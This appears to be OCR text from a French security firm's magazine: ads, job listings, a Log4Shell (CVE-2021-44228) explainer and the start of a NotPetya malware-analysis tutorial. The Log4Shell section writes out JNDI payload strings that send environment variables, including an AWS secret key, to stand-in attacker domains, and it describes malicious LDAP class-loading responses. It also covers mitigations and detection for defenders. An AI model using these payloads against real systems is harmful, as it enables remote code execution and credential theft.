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Vous étes concerné
par la sécurité informatique
de votre entreprise ?

XMCO est un cabinet de conseil dont le métier est
I'audit en sécurité informatique.

Fondé en 2002 par des experts en sécurité et dirigé par ses
XI I l CO fondateurs, les consultants du cabinet XMCO n'interviennent que
we deliver security expertise since 2002 sous forme de projets forfaitaires avec engagement de résultats.
Les tests d'intrusion, les audits de sécurité, la veille en

vulnérabilité constituent les axes majeurs de développement de
/ notre cabinet.

Parallélement, nous intervenons auprés de directions générales

dans le cadre de missions d'accompagnement de RSSI, d'éla-

boration de schéma directeur ou encore de séminaires de sensi-
bilisation aupres de plusieurs grands comptes francais.

Pour contacter le cabinet XMCO et découvrir nos prestations :
https://www.xmco.fr

Test d’intrusion
Audit de sécurité
Certification PCI DSS

Cert-XMCO' - Veille en vulnérabilités Yuno

Cert-XMCO' - Serenety

Cert-XMCO' - Réponse a intrusion
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Indépendamment d’une solide expérience dans la sécurité informatique, les candidats devront faire
preuve de sérieuses qualités relationnelles, d'un esprit de synthése et d'une capacité a rédiger des
documents de qualité. XMCO recherche avant tout des consultants équilibrés, passionnés par leur mé-
tier ainsi que par bien d'autres domaines que l'informatique.

Tous nos postes sont basés a Paris centre, dans nos locaux du 8eme arrondissement ainsi qu'a Nantes.

Retrouvez toutes nos annonces a l'adresse suivante :
https://www.xmco.fr/societe/recrutement/

Offres d'emploi et stages

AUDIT

Le pdle Audit adresse tous les audits techniques du cabinet : tests d'intrusion, audit de code, Red-
Team, campagnes de phishing, audit d'infrastructure et de configuration.

Nous recherchons des profils techniques passionnés par l'intrusion et le conseil.

«  Consultants/Pentesteurs juniors et confirmés
» Stage Pentest (5eme année)

CERT-XMCO

Le CERT-XMCO est le CSIRT de la société XMCO en charge de réaliser la veille pour nos clients,
de gérer et développer notre service CTI de Cybersurveillance Serenety et de la réponse aux
incidents.

Nous recherchons des profils intéressés par la sécurité défensive.

Responsable RIS (Réponse aux Incidents)

Analyste Threat-Intelligence / Intelligence économique
Analyste technique Threat-Intelligence

Analyste Forensics

Consultants sécurité juniors et confirmés

Stage sécurité défensive (4éme et 5eme année)

GRC (Gouvernance, Risques et Conformité)

Le pole GRC réalise toutes les prestations relatives a la sécurité organisationnelle : accompagne-
ment et audit de certification PCI DSS, analyse de risques, audits basés sur I'1SO27001.

Nous recherchons des profils expérimentés (+3 ans) avec une appétence pour la technique.

»  Consultants confirmés PCI DSS QSA
»  Consultants confirmés audits organisationnels


https://www.xmco.fr/societe/recrutement
https://www.xmco.fr/consultant-pentesteur/
https://www.xmco.fr/wp-content/uploads/2020/09/XMCO-Annonces-Stages-2020-2021.pdf
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Offres d'emploi et stages

DEVELOPPEMENT

Notre équipe Développement est en charge de spécifier et développer les outils, services et por-
tails utilisés par les consultants et les clients du cabinet.

Développeur back Python

INFRASTRUCTURE

Notre équipe Infra est en charge de maintenir et développer nos infrastructures utilisées dans le
cadre de tous les services délivrés par le cabinet.

Administrateur Ingénieur Systeme / DEVOPS


https://www.xmco.fr/developpeur-python/
https://www.xmco.fr/administrateur-systeme-et-reseau/
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12 questions pour comprendre Log4Shell

Vendredi 10 décembre dernier, une vulnérabilité critique baptisée Log4Shell et référencée CVE-2021-44228 a
été divulguée par la Fondation Apache au sein de la bibliothéque Log4j2.

De nombreuses agences telles que I'’ANSSI (via le CERT-FR), le CERT-EU ou encore le CERT Suisse GovCERT.ch
s'accordent a qualifier cette vulnérabilité de critique et recommandent de la corriger dans les plus brefs délais.
Son exploitation permet en effet a un attaquant de prendre le contréle d'un systeme a distance, sans authen-
tification préalable, en le forcant a exécuter du code Java arbitraire récupéré sur un serveur distant. Son score
CVSS (v3.1) de 10.0.

Retour en 12 questions/réponses sur cette faille qui a fait couler beaucoup d’encre au cours des derniers jours.

Par Simon BUCQUET, Charles DAGOUAT et Julien TERRIAC

Log4Shell,
la vulnérabilité de la décennie ?
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1. Qu'est-ce que Log4j2 ?

Log4j2 est une bibliotheque Java dédiée a la journalisation et utilisée couramment au sein des applications déve-
loppées en Java.

La gestion des logs étant un sujet abordé couramment par les développeurs, Log4j2 est logiquement utilisé dans
un trés grand nombre d'applications. Une simple recherche du code permettant d'importer Log4j au sein d'un
projet sur Github retourne pas moins de 700 000 résultats. Cette recherche ne tient pourtant compte que des
applications accessibles ouvertement et non des applications « internes » dont le code n'est lui pas accessible
publiquement. Cela donne donc une idée de lI'importance que revét un tel composant dans I'écosystéme Java.

La version initiale du projet (Log4j 1.x) a fait son apparition en 1999, et a signé sa fin de vie le 5 ao(t 2015.
Ses concepteurs ont constaté que le code de base présentait des défauts de conception et que le processus de
publication était complexe, expliquant en partie que peu de développeurs se soient impliqués dans le projet
jusqu'alors.
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https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://www.openwall.com/lists/oss-security/2021/12/10/1
https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/
https://media.cert.europa.eu/static/SecurityAdvisories/2021/CERT-EU-SA2021-067.pdf
https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?name=CVE-2021-44228&vector=AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H&version=3.1&source=NIST
https://github.com/search?q=%22import%2Borg.apache.logging.log4j%22&type=code
https://blogs.apache.org/foundation/entry/apache_logging_services_project_announces

La version 2 de Log4j (Log4j2) a donc vu le jour le 12 juillet 2014, apres 2 ans de développement. Dans cette
nouvelle version majeure du projet, les développeurs ont intégré un trés grand nombre de fonctionnalités dis-
ponibles dans I'écosysteme Java, dont une interface JNDI exploitée au sein de cette vulnérabilité. Lobjectif était
pour eux d'enrichir fonctionnellement le projet.

O “import+org.apache.logging.log4j" Pull requests Issues Marketplace Explore

Repositories 0 704,912 code results Sort: Best match =
Code m
aoxiangflysky/cat
Commits [ 20 ] libfjava/src/mainfjava/com/dianping/cat/logdj/Logdj2Appender.java
|ssUes @ 19 package com.dianping.cat.logdj;
28
Discussions 0 21 import com.dianping.cat.Cat;
22  import org.apache.logging.log4j.Level;
Packages 0 23  import org.apache.logging.log4j.core.Filter;
24 import org.apache.logging.log4j.core.Layout;
Marketplace 0 25 import org.apache.logging.log4j.core.LogEvent;
@ Java Showing the top 20 matches  Last indexed on 22 Apr
Topics 0

2.Quesontles JNDI ?

L'API JNDI (Java Naming Directory Interface) a vu le jour en mars 1997 et est largement utilisée dans l'univers de
Java, car elle fait partie des spécifications de Java EE.

INDI est, par exemple, utilisée par les APl Java RMI et Java EE pour rechercher des objets au travers du réseau. Elle
permet pour cela de s'interfacer avec des services de nommages ou d’annuaires afin de réaliser des recherches
de maniére abstraite au travers de fournisseurs de services (SPI). Parmi les principaux fournisseurs de services, on
peut mentionner DNS, RMI, ou encore LDAP.

« La premiére vulnérabilité concerne le composant Lookups qui permet au sein de Log4j2
I'évaluation de valeurs lors du traitement des messages.
Cette fonctionnalité peut étre utilisée par les développeurs pour enrichir les données uti-
lisées pour le débogage et qui sont liées a 'environnement d’exécution : ${java :version},
${env :HOSTNAME}, ${k8s :podName}...»

Les deux connecteurs les plus intéressants sont RMI et plus particulierement LDAP. En effet, le connecteur de
LDAP dispose au sein de la RFC des fonctionnalités dangereuses qui permettent d'inclure des classes Java dis-
tantes au travers du paramétre javaCodeBase : https://datatracker.ietf.org/doc/html/rfc2713#section-3.2

3. D'ou provient la vulnérabilité ?

La vulnérabilité permettant une exécution de code arbitraire provient de I'utilisation de deux fonctionnalités
conjointes (son score CVSS est de 10.0).

La premiére concerne le composant Lookups qui permet au sein de Log4j2 I'évaluation de valeurs lors du traite-
ment des messages. Cette fonctionnalité peut étre utilisée par les développeurs pour enrichir les données utili-
sées pour le débogage et qui sont liées a I'environnement d’exécution : ${java :version}, ${env :HOSTNAME}, ${k8s
:;podName} ...

Toutefois, I'ajout en 2013 d'un nouveau plugin pour ce composant a ouvert la possibilité d’exploiter un nouveau

type d'évaluation : JNDILookup. Ce nouveau plugin de résolution de noms (intégré au sein de la version 2.0-beta9)

permet la résolution de ressources JNDI au travers de la syntaxe ${jndi :*}. Entre autres, il supporte par défaut les
g protocoles LDAP et LDAPS.
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JNDI Remote Class Loading

Security
Component JVM property to enable remote class loading Manager
enforced?
RMI java.rmi.server.useCodebaseOnly = false Always
(default value = true, since JOK 7u21)
SPI
LDAP com.sun.jndi.ldap.object.trustURLCodebase = true Not
(default value = false) enforced
CORBA Always
Naming Not
Manager enforced

Source : https://speakerdeck.com/pwntester/Idap-manipulation-to-remote-code-execution-dream-land

C'est le protocole LDAP qui, permettant le chargement de classe a distance, est exploité pour exécuter du code
arbitraire dans le contexte de l'application vulnérable. Une démonstration de I'exploitation de ce type d'injection
avait justement été faite dés 2016 par Alvaro Munoz et Oleksandr Mirosh lors de la BlackHat US (voir lien de la
capture ci-dessus). lls avaient, a cette occasion, démontré plusieurs vecteurs d'exploitation de cette fonctionnali-
té, notamment a travers les connecteurs RMI et LDAP.
Les premiéres traces d'exploitation de cette fonctionnalité avaient été détectées par Trend Micro en 2015 par
le groupe Pawn Storm, qui utilisait la fonction de chargement de classe a distance offerte par l'interface JNDI
au travers du protocole RMI :

Le composant JNDI est donc identifié comme étant un vecteur d'attaque depuis de nombreuses années. Néan-
moins, cette technique d'exploitation reste assez peu connue de la communauté.
La vulnérabilité Log4shell a donc permis de la remettre en avant.

D’aprés un rapport de vulnérabilité publié par les chercheurs d'Alibaba Cloud, la vul-
nérabilité CVE-2021-44228 a été remontée le 24 novembre 2021 aux développeurs du

projet Apache Log4j2.

Toutefois, des éléments ont été remontés par d'autres développeurs avant le 10 dé-
cembre 2021, date de la publication officielle de la vulnérabilité. Le 29 novembre 2021,
Carter Kozak, un employé de la société Palantir Technologies, a publié un message re-
latif a I'un des outils de gestion de projet utilisés par les développeurs de Log4j. Dans
celui-ci, ce dernier demande pourquoi la résolution automatique (Lookup) est appliqué
par défaut sur tous les messages traités. Selon lui, cette fonctionnalité serait confuse.

Enfin, selon certaines rumeurs, les premiéres tentatives d'exploitation de cette vulnéra-
bilité auraient eu pour but de compromettre des serveurs du jeu Minecraft. Toutefois,
aucun acteur de confiance n'a pu confirmer cette information jusqu’'a présent.
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La vulnérabilité a été introduite au sein de la version 2.0-beta9 (Changelog : Add JNDILookup plugin. Fixes LO-
G4J2-313. Thanks to Woonsan Ko) mise a disposition le 14 septembre 2013.

Cet ajout provient d'une demande de fonctionnalité datant du 17 juillet 2013 (Ticket JNDI Lookup plugin support’).
Cette vulnérabilité est donc présente depuis un peu de plus de 8 ans au sein du projet Log4j2.

La vulnérabilité permet de réaliser 2 actions distinctes :
- Exfiltration d'information ;
« Exécution de code arbitraire a distance (RCE).

En effet, la vulnérabilité utilise la fonction de lookup de Log4j. Cette fonctionnalité dispose de facultés de re-
cherche non dangereuses :

Date Lookup : permet de générer une date suivant un formatage précis ;

Upper Lookup : convertit le message en majuscule.

Ces exemples sont anodins et ne présentent aucun danger. lls correspondent a des fonctionnalités assez cou-
rantes, supportées par tous les langages permettant de faire du Format String.

Malheureusement, dans le cas de Log4j, il est possible de récupérer des informations sensibles au travers de fonc-
tions beaucoup plus dangereuses :
Docker Lookup : permet a un attaquant de récupérer le nom des dockers ;
Environment Lookup : permet a un attaquant de récupérer une variable d’environnement a partir de son nom;
JVM Input Arguments Lookup (JMX) : permet a un attaquant de récupérer les arguments passés a lI'application
vulnérable ;
Kubernetes Lookup : permet a un attaquant de récupérer des informations liées a I'environnement du cluster
Kubernetes utilisé (comme le nom du systéme hobte, le nom du conteneur, ...).

Voici quelques exemples de chaines pouvant étre utilisées en entrée pour extraire la version de Java utilisée par
I'application vulnérable :

S{env JAVA_VERSION};

S(sys java.version};

${sys java.vendor}.

Linterprétation de ces chaines permet d'afficher les informations sensibles, mais pas de les récupérer. En effet,
par défaut, ces informations seront uniquement disponibles dans les logs. Pour récupérer ces informations, I'at-
taquant doit ensuite utiliser une méthode d'exfiltration telle que le DNS. Ici, I'idée est de forcer I'application a
envoyer une requéte DNS vers un serveur sous le controle de I'attaquant afin de résoudre un nom de domaine
spécialement constitué pour intégrer les informations devant étre exfiltrées.

Par exemple :
S{env JAVA_VERSION}.dnsexfiltration.xmco.fr

Pour rendre possible cette exfiltration de données, il est possible d’utiliser la fonctionnalité appelée JNDI Lookup
qui permet notamment de contacter des serveurs distants. En combinant avec les fonctions précédemment men-
tionnées, un attaquant peut ainsi exfiltrer des données sensibles :

${jndi:Idap //${env JAVA_VERSION}.dnsexfiltration.xmco.fr}

Sans rentrer dans le détail, I'attaquant va ensuite récupérer les logs issus des requétes DNS émises vers *.dnsexilf-
tration.xmco.fr. Il existe différents services tels que canarytokens.org ou encore dnslog.cn qui permettent de faire

cela. Néanmoins, si vous souhaitez tester la présence de la vulnérabilité Log4shell sur vos applications ou sur votre
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infrastructure, nous ne pouvons que vous conseiller d'utiliser vos propres serveurs DNS pour éviter de voir fuiter
vos informations.

Parmi les attaques identifiées, certaines tentatives d'exploitation visent a exfiltrer des données sensibles (mot
de passe, clef d’API et autres secrets). La chaine suivante permet ainsi d'exfiltrer la clef AWS_SECRET_ACCESS_KEY
stockée dans la variable d’environnement éponyme : ${jndi :Idap ://ici-le-domaine-malveillant.com/exploit/S{env
AWS_SECRET_ACCESS_KEY}}

Le deuxiéme impact est I'exécution de commande (RCE).

Tout comme dans le scénario d’exfiltration de données, la fonctionnalité permettant de réaliser ce type d'action
est encore JNDI lookup. En effet, I'interface JNDI permet de réaliser le chargement de classes Java arbitraires dis-
tantes, notamment au travers de son connecteur LDAP. Le fonctionnement de ce mécanisme est décrit au sein
de la RFC2713.

Dans le cadre de notre article, nous allons uniquement détailler la méthode d'exfiltration au travers du connec-
teur LDAP. Lattaquant va créer une requéte LDAP qui pointe vers son serveur. Cette méthode est la méme que
celle expliquée pour exfiltrer les données : ${jndi :ldap ://hackerxmco.fr/trigger}

« Tout comme dans le scénario d'exfiltration de données, la fonctionnalité permettant de
réaliser ce type d’action est encore JNDI lookup.
En effet, l'interface JNDI permet de réaliser le chargement
de classes Java arbitraires distantes, notamment au travers de son connecteur LDAP...
En construisant une réponse malveillante, I'attaquant va ainsi forcer le serveur vulnérable
a charger une classe Java sur son propre serveur »

Lorsque I'attaquant recoit la requéte LDAP, il va renvoyer une classe Java spécialement congue. Pour utiliser cette
fonctionnalité, il peut utiliser 3 types de représentation différents :

javaSerializedObject ;

javaMarshalObject ;

javaNamingReference.

Dans notre exemple, nous allons uniquement aborder la derniére représentation a savoir javaNamingReference.
Pour construire un retour valide, I'attaquant doit fournir 4 attributs :

javaClassName : nom de la classe a charger ;

javaCodeBase : url du serveur ou récupérer la classe Java;

javaFactory : nom du fichier de la classe Java a charger ;

ObjectClass : la représentation du type d'objet (dans notre exemple il s'agit donc de javaNamingReference).

En construisant une réponse malveillante, I'attaquant va ainsi forcer le serveur vulnérable a charger une classe
Java sur son propre serveur :

javaClassName : xmco ;

javaCodeBase : https://hackerxmco.fr ;

javaFactory : log4shell.class ;

objectFactory : JavaNamingReference.
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Le chargement de cette classe log4shell.class entrainera I'exécution de code arbitraire, puisque le code de cette

classe est contro6lé par I'attaquant.

En synthése, le scénario détaillant I'exploitation de la vulnérabilité Log4shell est le suivant :

The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a
header field that is likely to be logged.

GET /test HTTP/1.1
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}

HTTP

The string is passed to lag4j
for lagging

${indi:1dap://evil.xa/x}

log4j interpolates the string and
queries the malicious LDAP server.

6“9 @ ?

ldap://evil.xa/x

a DISABLE JNDI LOOKUPS

y

€ BLOCK WITH WAF / \
( € PATCH LOG4
Attacker Vulnerable Server ' Vulnerable log4j Malicious LDAP Server
6 ‘ http://victim.xa implementation |dap://evil.xa
!
o
o o o— JE2 o EA
| < (4]
€ DisABLE (5]
REMOTE n
CODEBASES \L
w O
public closs Malicious implements Sericlizable { dn:
R javaClassName: Malicious
Etutt:ﬂ}iﬁivu" S— javaCodebase: http://evil.xa
1 z ? javaSerinlizedData: <...=
.
The LDAP server responds with directory
JAVA deserializes (or downloads) the information that contains the malicious
© ®@ GovCERTh malicious java class and executes it Java class

Source : GovCERT.ch, https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4i/

Néanmoins, afin de charger une classe distante, il est nécessaire que la propriété de la JVM com.sun.jndi.ldap.
object.trustURLCodebase soit configurée a true (valeur false par défaut depuis les JDK 6u211 / 7u201 / 8u191 /
11.0.1 et supérieurs).

Il est toutefois possible d'exploiter cette vulnérabilité sans charger une classe distante. Notamment en exploitant
une classe déja disponible dans le Classpath de I'application vulnérable (via I'utilisation d’'une chaine de Gadget).
Nous reviendrons sur cette technique dans un futur article.

Par la voix de son PDG, la société Cloudflare a
publié un tweet et un article de blog indiquant
que les premieres traces d'exploitation de la
vulnérabilité dataient du Ter décembre 2021,
soit 9 jours avant la divulgation de la faille par
la Fondation Apache (le 10/12).

Matthew Prince ~
@eastdakota

Earliest evidence we’ve found so far of #L.og4) exploit
is 2021-12-01 04:36:50 UTC. That suggests it was in
the wild at least 9 days before publicly disclosed.
However, don’t see evidence of mass exploitation until
after public disclosure.

Cette information peut étre corrélée aladate de
création du ticket ouvert par le développeur de
Palentir sur le Jira utilisé par les développeurs
du projet Log4j. Bien qu‘aucune mention d'un
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. pour comprendre Log4Shell
logging. 1995

guée dans ce message publié le 29 novembre 2021, il est fort probable qu'il ait donné les éléments nécessaires
aux attaquants pour identifier et exploiter la vulnérabilité.

Par ailleurs, selon Sophos, la vulnérabilité serait activement exploitée par les attaquants afin d‘installer des mi-
neurs de cryptomonnaie sur le systéme compromis depuis sa divulgation officielle.

Cloudflare a partagé dans une publication en date du 10 décembre quelques indicateurs chiffrés quant au
nombre de scans observés sur Internet : d’'aprés les chiffres communiqués, la société a détecté et bloqué entre 5
000 et 10 000 scans par minute au cours de la journée du 10 décembre. Ces scans étaient lancés par 300 IPs source
en moyenne.

log4j attacks / minute, blocked

0

10:00 11:00 12:00 13:00 14:00 15:00 16:00 17:00 18:0C
Dec 10, 2021

number of different IPs exploiting the log4j vuln

200

0

10:00 12:0 14:00 16:00 18:00
Dec 10, 2021

Source : https://blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-wild/

Enfin, la startup Crowdsec a publié une liste des adresses IP identifiées comme étant a l'origine de scans visant
a identifier les assets vulnérables a Log4Shell. D'autres listes similaires (Abuse.ch ThreatFox, gnremy/CVE-2021-
44228 _1Ps.csv) sont également disponibles.

A la question « Existe-t-il des codes d’exploitation ? », la réponse est donc évidemment oui.

8. Suis-je affecté par la vulnérabilité ? Comment savoir si mon systéme est vulnérable ?

Les conditions devant étre réunies pour exploiter la vulnérabilité Log4shell sont difficilement identifiables sans
connaitre en détail son systeme d'information. Une revue du code source et de la configuration de I'application et
de ses dépendances, ainsi que de la version utilisée de Log4j2 est généralement nécessaire pour disposer d'une
analyse fiable.

En effet, il est nécessaire de disposer des informations suivantes :

+ Une cartographie a jour de son Sl et de ses applications ;

« De savoir au sein de son Sl quelles sont les applications qui dépendent de Log4j (de maniére directe ou indi-
recte) ;

- De savoir quelles entrées utilisateurs ces applications traitent (email, entéte / corps d’'une quéte HTTP, champ 13
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d'un certificat SSL...);
«  De connaitre I'environnement d’exécution de la JVM ( la configuration) utilisé par chacune des applications.

Disposer d’un tel niveau de maitrise de son Sl n'est généralement pas possible au sein des grandes entreprises
(trop de domaines ou d’adresses IPs a gérer). Par ailleurs, dans les structures de taille plus raisonnable, c'est ici le
niveau de maturité qui n'est pas suffisamment élevé. In fine, trés peu de structures sont en mesure de maitriser
leur systeme d'information avec un tel niveau de détail.

Il convient donc de faire un test « dynamique » le plus large possible pour identifier les systémes vulnérables qui
réagissent positivement, et engager les premiéres actions de remédiation.

Attention, étant donné que la vulnérabilité est déclenchée lors du traitement d'une ligne de log, si cette infor-
mation est envoyée (via Syslog par ex.) vers un concentrateur de logs (puits de log) ou un SIEM (ELK, ...) utilisant
lui-méme Log4j, vous pouvez étre affecté par la faille de maniére indirecte, bien qu'il ne soit pas accessible direc-
tement depuis Internet.

Enfin, au-dela de l'analyse contextualisée a une application développée en interne, un certain nombre de solu-
tions utilisées en entreprise (solutions commerciales ou OpenSource) sont également affectées par Log4Shell.
Une liste d'outils et de dépendances affectés par cette vulnérabilité est maintenue a jour par les internautes a
I'adresse suivante : https://gist.github.com/SwitHak/b66db3a06c2955a9¢cb71a8718970c592

Cette liste permet de voir que les solutions telles qu’Apache Kafka, Apache Solr, Apache Struts, Atlassian (que I'on
retrouve régulierement dans les environnements de nos clients) sont affectées par cette faille. Il convient donc
de réaliser une veille en vulnérabilités auprés des éditeurs pour identifier la publication de mise a jour de sécurité
corrigeant la faille dans leurs produits.

Néanmoins, des solutions destinées au grand public ont également été identifiées comme étant vulnérables a
Log4shell, a I'instar de I'Apple Cloud.

oul!
A minima, vous devez réaliser une analyse d'impact de la faille sur votre Systéme d'information et envisager la
mise en ceuvre de tout ou partie des solutions de remédiation proposées ci-dessous.

La solution la plus simple est I'utilisation d'outils dédiés spécifiquement a I'établissement du diagnostic. On peut
entre autres retenir les 2 outils suivants :

«  https://github.com/Neo23x0/log4shell-detector

«  https://github.com/fullhunt/log4j-scan

Ces outils ne sont néanmoins pas adaptables a tous les contextes ou tous les cas d'usage.
Note : entre le début de rédaction de cet article et sa publication, la version 2.16.0 de Log4j2 a été publiée par les
développeurs du projet. Son installation est donc recommandée.

La premiere recommandation est évidemment d'installer le correctif publié par les développeurs de Log4j2. La
version v2.15.0 est ainsi disponible sur le site de la Fondation Apache a I'adresse suivante :

« https://www.apache.org/dyn/closer.lua/logging/log4j/2.15.0/apache-log4j-2.15.0-bin.tar.gz.

«  https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.15.0/

Lensemble des informations nécessaires a la mise a jour sont disponibles sur la page dédiée du projet : https://
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logging.apache.org/log4j/2.x/download.html.

Néanmoins, la mise a jour d’une application n’est pas toujours aussi simple qu'on pourrait I'espérer, et il peut étre
nécessaire de disposer d'une solution de remédiation temporaire. Dans ce cas, plusieurs options sont a votre
disposition.

Pour les versions de Log4j >= 2.10.0, Il est possible de désactiver la résolution automatique des noms au sein des
entrées utilisateurs au travers du paramétre de configuration formatMsgNoLookups.

Ce paramétre peut étre défini de plusieurs maniéres :

« Viaun argument transmis a la JVM lors de son lancement : java -Dlog4j2 formatMsgNolLookups=true ;

«  Via une variable d’environnement Log4j : LOG4J_FORMAT_MSG_NO_LOOKUPS=true java;

« Via une variable d’environnement Java / de la JVM : JAVA_OPTS=-Dlog4j2 formatMsgNol.ookups=true.

Pour les versions de Log4j < 2.10.0, il n'est pas possible d'utiliser ce paramétre. Il est néanmoins possible de sup-
primer purement et simplement le fichier JndiLookup.class qui correspond a I'implémentation de la fonctionna-
lité de recherche. La commande suivante peut étre utilisée pour supprimer le fichier incriminé du JAR utilisé par
une application.

zip -qg -d log4j-core-*.jar org/apache/logging/logdj/core/lookup/JIndiLookup.
class

Alternativement, pour les versions de Log4j >= 2.7 et <= 2.14.1, il est possible de remplacer dans le code de
I'application I'ensemble des modéles (PatternLayout) %m en %m{nolookups} afin de désactiver la résolution des
noms.

Enfin, les équipes d’AWS ont développé un outil baptisé hotpatch-for-apache-log4j2 qui permet de désactiver « a
chaud » la méthode lookup() des instances de classe org.apache.logging.log4j.core.lookup.ndiLookup. Il sagit d'un
agent Java capable de modifier a la volée le code Java d’'une application vulnérable.

Attention, l'utilisation d'une telle solution peut avoir des effets indésirables sur votre environnement et n'est a
n‘utiliser qu'en cas de derniére nécessité.

12. Pour aller plus loin : la défense en profondeur

Evidemment, I'application de l'ensemble de ces solutions nécessite au préalable de savoir ou est utilisée cette
bibliothéque. Il est donc nécessaire de proposer d'autres solutions plus générales pour prévenir de l'exploitation
réussie de la vulnérabilité Log4shell.

Parmi celles-ci, on peut retenir :

«  Filtrer les flux sortants (en particulier, depuis la DMZ vers Internet) au niveau du pare-feu et/ou du Proxy ;

«  Filtrer les flux entrants au niveau des WAF ou des IPS/IDS afin de détecter et de bloquer les requétes sus-
pectes) (intégrant les principaux marqueurs d'exploitation de la faille ;

« Analyser les logs web disponibles afin d'identifier les traces d’exploitation.

Différents outils ont également été publiés pour répondre a ces différents cas d'usage. Par exemple :

« Jeuxde regles Yara utilisables avec les logiciels THOR Lite ou Loki, permettant d'identifier des tentatives d'ex-
ploitations de la vulnérabilité dans les traces HTTP : https://github.com/Neo23x0/signature-base/blob/mas-
ter/yara/expl_log4j_cve_2021_44228.yar;

+ Jeux de commandes (grep, ...) a utiliser manuellement : https://gist.github.com/Neo23x0/e4c8b03ff8cdf-
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1fa63b7d15db6e3860b ;
+  Reégles de détection Emerging Threats pour IDS (Snort et Suricata) ont également été proposées par la société
Proofpoint : https://rules.emergingthreatspro.com/open/suricata-5.0/rules/emerging-exploit.rules.
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Méthode d'analyse inforensique

Lidée ici n'est pas d'écrire un énieme rapport d'étude de NotPetya, mais d'introduire de maniére pragmatique
les notions élémentaires pour réaliser I'étude d’un malware.

Le but est ainsi d'expliquer de maniére pédagogique des concepts d'analyse statique et dynamique d'un exé-
cutable malveillant afin d’en élucider les actions principales. Le malware NotPetya permet d'aborder de nom-
breux points intéressants en reverse tout en évitant de devoir introduire des automatismes plus complexes.

Nous nous placons donc dans la peau d'une équipe qui recoit des binaires suspects extraits de postes compro-
mis au sein d’'un parc informatique d'une entreprise. Nous sommes le 27 juin 2017 et cette attaque n'est pas

encore expliquée. Que devons-nous faire ?
Par Alice CLIMENT-POMMERET et Aurélien DENIS

Exemple avec NotPetya

> Faire parler le code du malware : I'analyse statique

En réponse a l'infection du parc informatique de I'entreprise, des investigations ont été faites sur les machines in-
fectées et 5 binaires d'allure suspecte nous ont été confiés. Nous commencons notre analyse par le sample perfc.
dll.

Analyse statique : ensemble des procédés permettant d’élucider tout ou partie du fonctionnement d’un pro-

gramme sans l'exécuter.

Explorations préliminaires du binaire suspect

Le premier réflexe lors de I'analyse d’un sample potentiellement malveillant est de regarder les chaines de carac-
téres hardcodées dans son exécutable.

Celles-ci sont le plus souvent stockées dans les sections .*data de I'exécutable. Les différences entre les principales
sections sont expliquées dans le tableau suivant.
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Section de I'exécutable Description

Text Code exécutable

rdata Données en lecture seule accessibles de maniére globale dans le programme
data Données globales auxquelles le programme accéde au cours de son exécution
rsrc Ressources nécessaires au fonctionnement du programme

Role des différentes sections d'un exécutable

Loutil le plus utilisé afin de récupérer les chaines de caractéres d’'un exécutable est strings, que l'on peut exécuter
dans un terminal. Afin de voir ces chaines, il est également possible de charger I'exécutable dans IDA et de regar-
der dans l'onglet Strings.

IDA : outil désassembleur trés utilisé en reverse permettant de visualiser le code assembleur d'un exécutable.

Cependant, il faut noter que, par défaut, toutes les chaines de caractéres exploitables lors d'une analyse de
malware ne sont pas remontées dans l'onglet Strings ou par le comportement de la commande strings. Il est pos-
sible de modifier les comportements par défaut dans IDA et strings afin d’élargir le champ de recherche a d'autres
types de strings, comme par exemple de I'Unicode 16 bits.

En chargeant le code dans IDA, nous remarquons qu’une partie des fonctions est reconnue par le décompilateur
ce qui nous donne un premier code en assembleur “lisible”. Ceci nous permet de continuer I'analyse sans étape

supplémentaire. Certains exécutables malveillants rendent leur code assembleur plus difficile a étudier en utili-
sant des techniques dites de packing permettant le chiffrement/obfuscation/compression du code.

Apport des bases de I'analyse statique
IDA est donc lancé et le malware désassemblé et nous pouvons commencer notre analyse.

La présence de mots-clefs et de texte justifie I'analyse du binaire.

Nous recherchons immédiatement la chaine Bitcoin dans la vue Strings qui est trés suspecte puisque présente au
sein du message de rancon sur I'écran de démarrage des postes infectés.

Wallet Bitcoin

e

Personal installation key

Message de rancon présent sur les postes infectés
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NotPetya

Méthodologie d'analyse

Il est désormais clair que ce que nous venons de commencer a analyser est le malware qui a infecté l'entreprise.
Nous pouvons donc nous plonger plus profondément dans I'analyse.

Lexploration des chaines des caractéres et des imports justifie gu'il s'agit bien du malware d'intérét et nous donne
des pistes sur son fonctionnement.

Notre réflexe suivant est d'aller observer la vue Imports d' IDA qui liste les appels de fonctions de bibliothéques
externes au programme analysé. Cela nous permettra, a peu de frais, d’avoir une premiére idée des fonctionna-
lités du malware.

Fonctions cryptographiques

CrypiDestroykey
CryptGenkey

CryptEncrypt
CryptImportKey

CryptSetkeyParam

CryptReleaseContext
CryptStringToBinaryWw
CryptEinaryToString\w/
CryptDecodeObjectEx

Capture d'écran de la fenétre Imports dans IDA montrant des fonctions Crypt*

L'appel a ces fonctions cryptographiques (création de clés, fonction de chiffrement, paramétrage et destruction
de clé, etc.) dans le corps du malware suggére que l'infection utilise réellement du chiffrement.

Or, lors de notre premiére exploration des chaines de caracteres, nous avons remarqué la présence d’une suite
d'extensions de fichiers.

.rdata: 18010840 a3ds7zAccdbAiAs: ; DATA XREF: sub_10001973+197t0

.rdata: 10010840 ; .data:18018BD4lo

.rdata:10010840 text "UTF-16LE", '.3ds.7z.accdb.ai.asp.aspx.avhd.back.bak.c.cfg.conf."’
.rdata:10010840 text "UTF-16LE"™, "cpp.cs.ctl.dbf.disk.djvu.doc.docx.dwg.eml.fdb.gz.h."
.rdata:10010840 text "UTF-16LE", 'hdd.kdbx.mail.mdb.msg.nrg.ora.ost.ova.ovf.pdf.php.p’
.rdata: 10010840 text "UTF-16LE", 'mf.ppt.pptx.pst.pvi.py.pyc.rar.rtf.sln.sql.tar.vbox"
.rdata:10010840 text "UTF-16LE", '.vbs.vcb.vdi.vfd.vmc.vmdk.vmsd.vmx.vsdx.vsv.work.x1"'
.rdata:10010840 text "UTF-16LE", 's.xlsx.xvd.zip.',@

.rdata:18010A5E align 1@h

.rdata:180108A60 ; const WCHAR aks

